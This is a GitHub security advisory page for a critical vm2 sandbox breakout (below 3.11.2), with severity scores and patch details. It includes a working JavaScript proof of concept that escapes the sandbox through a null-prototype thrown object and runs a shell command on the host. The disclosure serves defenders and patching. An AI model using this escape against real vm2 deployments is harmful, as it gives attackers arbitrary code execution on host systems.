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» GHSA-9vg3-4rfj-wgcm
Description
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
throw o;
} catch (e) {
e.f = Buffer.prototype.inspect
o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Basic information
Type
reviewed
Severity
critical Advisory on GitHub
Open advisory ↗ Repository advisory
Open repository advisory ↗ Source code
Browse source ↗ Published (advisory)
2026-05-08 16:20:58 UTC
Updated
2026-05-14 20:37:14 UTC
GitHub reviewed
2026-05-08 16:20:58 UTC
NVD published
2026-05-13 18:16:17 UTC
EPSS Score
Score
Percentile
0.04%
13.11%
CVSS Scores
Base score
Version
Severity
Vector
9.8
3.1
—
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.
CWEs
CWE id
Name
CWE-668
Exposure of Resource to Wrong Sphere
Affected packages (1)
Vulnerable version ranges and first patched releases as published by GitHub.
Ecosystem
Package
Vulnerable range
First patched
Vulnerable functions
npm
vm2 < 3.11.2
3.11.2
—
cvelogic
Threat Intelligence